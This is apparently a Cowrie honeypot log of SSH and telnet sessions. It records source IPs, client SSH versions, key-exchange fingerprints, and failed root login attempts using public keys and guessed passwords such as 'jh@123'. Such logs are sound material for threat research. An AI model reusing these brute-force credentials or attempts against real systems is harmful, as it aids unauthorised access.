{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:76:44:32:c6:32:97:04:4b:f0:da:5a:a8:69:bc:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk4WCPK54cLDOVzbvp4XiwOMpUv0edCNnOCdlI66J1Evvk1/O3tt9IkVrzFgI2Jwbqt5NctiWfiDtDkYg4qEAnVZChSrUJngb+JM/WUtPXjvSk3KnaxS4MfVuaR6h8X5YGBgImLl0/F6+wIFgMV6GG1b2k7bD/TlEb7kszq/QQ2ry7hFUTAZKayivh4N7nvqfAfXYC8UbX79uxji8CR4vkIKco1eULka4h+U3+1aSr2lNcPEdQtTK+lTJqJg7S0WjLwJAE0QwlR34fX/jE+xybe3PUA6LOtYruG6jU0PZ3asa3qRrT/q8YwwwZAMIQcDfJasKLf0Au2lWScMru84RR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.147551Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:56:99:6d:aa:70:a1:e9:37:57:ec:6f:92:b1:45:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQColIedCxzgK0PWR2a4C8ewXbAGy4yr3DyvxRCF7afU+yQ8CA81H4zfu/tztSU+HXXB+7/itVysuNkRUmOfiFXS5clwKnEehsH8sER5tdneVy5DV5p5h3qTvGHKb134hiFMKPAg3EKWqjdKIgnQoECIEKntpNyWz9X+2rPXKMg3XtMhpWMbmEXKVeLb30wwdSC2tz0KoKV6gMznRIRa1ZW7KNLswZZgPDPksCW5838FD7qGRv81BKbXp79KSWIwKQcegAYoXV1k/H+iJnL4LDsPdSCvQjaeJKrUdrFZqiQC6ZJc2PRB5NZryEZR+iuSeXx3n9iuq7v7PNPE5HpPW6uEITrXupTnhaxqQurdVbgP+Cr7HdpNI1Z0mUNpf8tfFo2+r/ZaV/XXFDFV1lZFoLMHIT9rTnNI+uevYudnYb240imZZMkcJwC97gyGKcf+mnIMGdsfEFLWEIw4nCRrGbAJVBpwmUiD0v1y0ARasQleY2sc4+2DST7A+ozrqGfeitk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:56:99:6d:aa:70:a1:e9:37:57:ec:6f:92:b1:45:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.261214Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:56:99:6d:aa:70:a1:e9:37:57:ec:6f:92:b1:45:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQColIedCxzgK0PWR2a4C8ewXbAGy4yr3DyvxRCF7afU+yQ8CA81H4zfu/tztSU+HXXB+7/itVysuNkRUmOfiFXS5clwKnEehsH8sER5tdneVy5DV5p5h3qTvGHKb134hiFMKPAg3EKWqjdKIgnQoECIEKntpNyWz9X+2rPXKMg3XtMhpWMbmEXKVeLb30wwdSC2tz0KoKV6gMznRIRa1ZW7KNLswZZgPDPksCW5838FD7qGRv81BKbXp79KSWIwKQcegAYoXV1k/H+iJnL4LDsPdSCvQjaeJKrUdrFZqiQC6ZJc2PRB5NZryEZR+iuSeXx3n9iuq7v7PNPE5HpPW6uEITrXupTnhaxqQurdVbgP+Cr7HdpNI1Z0mUNpf8tfFo2+r/ZaV/XXFDFV1lZFoLMHIT9rTnNI+uevYudnYb240imZZMkcJwC97gyGKcf+mnIMGdsfEFLWEIw4nCRrGbAJVBpwmUiD0v1y0ARasQleY2sc4+2DST7A+ozrqGfeitk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.266384Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:8f:3f:2c:53:c5:83:c3:1e:26:6a:04:bf:16:b6:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsaaFYGUCy/YNY3Y6953vQhCkwynFi0eOnCBX8wehkuqCQdtGS9yb36iKY2/tLHIXynTa1JqQmv0aSGDNcrb9LbvXHNlehAlCkCbWxrm+OaP41M/pcYYDirLT12sKqfzZrMFpWmAZx0g9IdTIzULJ6VfVyxrmKkVe4oM2yijK59KuV964I365+KqajfhvM3DJBytqpjPvxy7TEN5WzUAAt/rfXIen4LIYWDBYSip/uHVNACwS1P3ZUb7/mWvqgZzpWXYQX2Sv3mgK1gPTUDknHCvar+LszJ+9y129KY9nRd/hJWdrb2Wp1E9VQL+psfMZVq/tXRGiVciRTKYifAiPhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:8f:3f:2c:53:c5:83:c3:1e:26:6a:04:bf:16:b6:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.379571Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:8f:3f:2c:53:c5:83:c3:1e:26:6a:04:bf:16:b6:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsaaFYGUCy/YNY3Y6953vQhCkwynFi0eOnCBX8wehkuqCQdtGS9yb36iKY2/tLHIXynTa1JqQmv0aSGDNcrb9LbvXHNlehAlCkCbWxrm+OaP41M/pcYYDirLT12sKqfzZrMFpWmAZx0g9IdTIzULJ6VfVyxrmKkVe4oM2yijK59KuV964I365+KqajfhvM3DJBytqpjPvxy7TEN5WzUAAt/rfXIen4LIYWDBYSip/uHVNACwS1P3ZUb7/mWvqgZzpWXYQX2Sv3mgK1gPTUDknHCvar+LszJ+9y129KY9nRd/hJWdrb2Wp1E9VQL+psfMZVq/tXRGiVciRTKYifAiPhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.383360Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:de:d7:7c:cc:a7:eb:ea:04:28:92:c6:e9:ca:6c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5WeIpwvc+UyG6q6Y5ddx3cYRTy7TbIVLdFvbrXro8lRHNFcFHBLQCMMu1o1pjdtt63WJdp8qrKqAYQBtMxu4SEtX1eJGexKDXweGPeKfecOHOGZgDNfvJgVUFKqrHrvDRiqnEvxFwkk/5YOzxNA8PQ79DcktV7rPzD9ri+AVXDVCD8hYcs/lRgWKr8CkRnj4WL4ZRjWtmNJvhxmo47SDhYu2Av2bO5UK/QHmPPh3Nf2j0s+oXD8PxTjWjkBaxkBF/Lvs4wtRflMyDTgc17l78VipPNP/0vGrkl1CjJ2F/nzAIOp66RZEUPkrVjh1JW2II2tpBxobL34Ue/1jYi0rn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:de:d7:7c:cc:a7:eb:ea:04:28:92:c6:e9:ca:6c:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.496929Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:de:d7:7c:cc:a7:eb:ea:04:28:92:c6:e9:ca:6c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5WeIpwvc+UyG6q6Y5ddx3cYRTy7TbIVLdFvbrXro8lRHNFcFHBLQCMMu1o1pjdtt63WJdp8qrKqAYQBtMxu4SEtX1eJGexKDXweGPeKfecOHOGZgDNfvJgVUFKqrHrvDRiqnEvxFwkk/5YOzxNA8PQ79DcktV7rPzD9ri+AVXDVCD8hYcs/lRgWKr8CkRnj4WL4ZRjWtmNJvhxmo47SDhYu2Av2bO5UK/QHmPPh3Nf2j0s+oXD8PxTjWjkBaxkBF/Lvs4wtRflMyDTgc17l78VipPNP/0vGrkl1CjJ2F/nzAIOp66RZEUPkrVjh1JW2II2tpBxobL34Ue/1jYi0rn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.501043Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:60:f7:90:64:a7:6c:c7:fe:dc:7a:c1:04:7c:5c:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3z5z7ot/l7vGi3hy3lIqE8jhUKrGCsP0OOiR1rPC4UcWhDLf1z9h9mQaSlvcBIHPYwL9l+dNNAU6fw5nRfHWTijvtDqdqbMM+JjQdMYxcH1vxGF6WWXCkYYK6GQ9AcuQf7QS8eRVq46uZGavXZtipIy4btMRRumqLRq4eT+8sHKsYg2Qdo82h5JECelmnKYpzhGO9e/h1NQpeKTG5juZE+fFOjwOLCX5yL4p+umUYOxsAV/IVHdRqFWEMZpDmmaiBIZ49+un1NQvvhC+N/IPHs/gugyiRkkN/OLJ3B/IF0443C5YyBddFkiDbncnOTP7Lbay+2NICkpLJG9o0WgM+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:60:f7:90:64:a7:6c:c7:fe:dc:7a:c1:04:7c:5c:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.619565Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:60:f7:90:64:a7:6c:c7:fe:dc:7a:c1:04:7c:5c:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3z5z7ot/l7vGi3hy3lIqE8jhUKrGCsP0OOiR1rPC4UcWhDLf1z9h9mQaSlvcBIHPYwL9l+dNNAU6fw5nRfHWTijvtDqdqbMM+JjQdMYxcH1vxGF6WWXCkYYK6GQ9AcuQf7QS8eRVq46uZGavXZtipIy4btMRRumqLRq4eT+8sHKsYg2Qdo82h5JECelmnKYpzhGO9e/h1NQpeKTG5juZE+fFOjwOLCX5yL4p+umUYOxsAV/IVHdRqFWEMZpDmmaiBIZ49+un1NQvvhC+N/IPHs/gugyiRkkN/OLJ3B/IF0443C5YyBddFkiDbncnOTP7Lbay+2NICkpLJG9o0WgM+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.623538Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.736348Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44406,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eae4d15acbd","protocol":"telnet","message":"New connection: 74.91.213.120:44406 (159.203.135.109:23) [session: 5eae4d15acbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:30.576859Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":17064,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4cdbbc898a6","protocol":"ssh","message":"New connection: 175.107.32.186:17064 (10.17.0.5:22) [session: d4cdbbc898a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:39.747035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:39.752506Z","src_ip":"175.107.32.186","session":"d4cdbbc898a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:39.974283Z","src_ip":"175.107.32.186","session":"d4cdbbc898a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sih","message":"login attempt [root/sih] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:40.889274Z","src_ip":"175.107.32.186","session":"d4cdbbc898a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:42.113847Z","src_ip":"175.107.32.186","session":"d4cdbbc898a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":59550,"dst_ip":"10.17.0.5","dst_port":22,"session":"d87f6c9913eb","protocol":"ssh","message":"New connection: 186.190.215.90:59550 (10.17.0.5:22) [session: d87f6c9913eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:45.445545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:45.451070Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:45.562588Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":60928,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e1291d34dbf","protocol":"ssh","message":"New connection: 159.195.79.219:60928 (10.17.0.5:22) [session: 7e1291d34dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:45.754159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:45.759233Z","src_ip":"159.195.79.219","session":"7e1291d34dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:45.864976Z","src_ip":"159.195.79.219","session":"7e1291d34dbf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:be:c3:e0:6c:90:63:20:51:72:11:23:c0:4e:35:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJFc1DMsZAuvwxUBpriBr422fXepxZp4QNNd8WXXFZEcGfxNYeNcUAzWteiO6y/YKNq3BJf9vMMic/p6n4x2Kb0GVvbt070AGeOR+betpFt5qpubCt9CzL9GohdtoOmilCqhEUw+sohjsqeT2guX5ilNv8NBje9HQ/PJ5svKqJtemWZdDfyqK/KdI7FERCPWwa1hbZr+KKw9kvvwg64IWvlqgltjao896CHqr71vWIm+4Dbj6a8INMFwD0wXJMOb8DVPwvlSy2CJryktbuECeg1ZKR+S8AkirhRscV3Zc8bNLZjF6b/CmeZuWlbxjYgz4QQfi3aFJiDWsD/LJ2KWnP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:be:c3:e0:6c:90:63:20:51:72:11:23:c0:4e:35:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.061388Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:be:c3:e0:6c:90:63:20:51:72:11:23:c0:4e:35:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJFc1DMsZAuvwxUBpriBr422fXepxZp4QNNd8WXXFZEcGfxNYeNcUAzWteiO6y/YKNq3BJf9vMMic/p6n4x2Kb0GVvbt070AGeOR+betpFt5qpubCt9CzL9GohdtoOmilCqhEUw+sohjsqeT2guX5ilNv8NBje9HQ/PJ5svKqJtemWZdDfyqK/KdI7FERCPWwa1hbZr+KKw9kvvwg64IWvlqgltjao896CHqr71vWIm+4Dbj6a8INMFwD0wXJMOb8DVPwvlSy2CJryktbuECeg1ZKR+S8AkirhRscV3Zc8bNLZjF6b/CmeZuWlbxjYgz4QQfi3aFJiDWsD/LJ2KWnP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.065488Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:8e:0b:e1:09:0a:e4:d6:02:54:fc:5e:5c:20:3b:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/qgFkcX+Zhxf40KFY6ucu2N/lZ4KXGs8Td5fJP2sVuFndlnHM2dVH1MoIRpstU565lVZ1xAqD/NyghtVYGh50gyPj/QVfHoQa/7vZYeASGoFAzEclOD28UtPo6D5SlUi+O0h3WW/XPHZAidBIQhkc9zls9HVL8TB6wfvlM87y5f/DbF4bwAXsSfGIJ8GeMkjegOlyxbIe+NEi29bUiKNTlDUxK5Y1bUHMPHaBM3WgNLWxrLkkL9uB8uRWLAIWaoZsm6qPmYDAqtgxw50thZjGearV7RnZMKzhI4opEyrIGDIW5042f1R9K9UW8XTJDZwIVB6q6eKVh7/3w2aaRMJ9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:8e:0b:e1:09:0a:e4:d6:02:54:fc:5e:5c:20:3b:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.169733Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:8e:0b:e1:09:0a:e4:d6:02:54:fc:5e:5c:20:3b:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/qgFkcX+Zhxf40KFY6ucu2N/lZ4KXGs8Td5fJP2sVuFndlnHM2dVH1MoIRpstU565lVZ1xAqD/NyghtVYGh50gyPj/QVfHoQa/7vZYeASGoFAzEclOD28UtPo6D5SlUi+O0h3WW/XPHZAidBIQhkc9zls9HVL8TB6wfvlM87y5f/DbF4bwAXsSfGIJ8GeMkjegOlyxbIe+NEi29bUiKNTlDUxK5Y1bUHMPHaBM3WgNLWxrLkkL9uB8uRWLAIWaoZsm6qPmYDAqtgxw50thZjGearV7RnZMKzhI4opEyrIGDIW5042f1R9K9UW8XTJDZwIVB6q6eKVh7/3w2aaRMJ9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.173917Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jh@123","message":"login attempt [root/jh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.268580Z","src_ip":"159.195.79.219","session":"7e1291d34dbf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:c7:ba:9e:09:9a:9d:8e:c1:5e:3b:ea:3e:a7:78:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG8WiFs1iWozpJG89u/N7FIVLh/irkxzCRbbuvNSdzPVX75x73IyQtlFtmpdZFG+ES6lE5ClZfzV9/pzAKiStauiIyGGzZ1dQ4ADA0wD+xuyPltwzOOS2Sg6zMk0efp3vhqrfcjEzbtKPlQlOT6YHkraNd4LzSsfrtN8MhQiqZJ9M8XPhQJzHc0O9M5LfDXvDzLANp16ZdOUDNT/EEVbTNXgYpLPmjjMpCTzP+dV2f6vG9rrEl/ySqFoGj2eS+kEN9/bYVbMUxz0un4uC7QcF/m2UUYOGu7hZ0L950vdKLewmnovrqOowxusZMPFXVGeRedqxToWd+wb/q7l6mW9nf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:c7:ba:9e:09:9a:9d:8e:c1:5e:3b:ea:3e:a7:78:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.278461Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:c7:ba:9e:09:9a:9d:8e:c1:5e:3b:ea:3e:a7:78:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG8WiFs1iWozpJG89u/N7FIVLh/irkxzCRbbuvNSdzPVX75x73IyQtlFtmpdZFG+ES6lE5ClZfzV9/pzAKiStauiIyGGzZ1dQ4ADA0wD+xuyPltwzOOS2Sg6zMk0efp3vhqrfcjEzbtKPlQlOT6YHkraNd4LzSsfrtN8MhQiqZJ9M8XPhQJzHc0O9M5LfDXvDzLANp16ZdOUDNT/EEVbTNXgYpLPmjjMpCTzP+dV2f6vG9rrEl/ySqFoGj2eS+kEN9/bYVbMUxz0un4uC7QcF/m2UUYOGu7hZ0L950vdKLewmnovrqOowxusZMPFXVGeRedqxToWd+wb/q7l6mW9nf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.285052Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
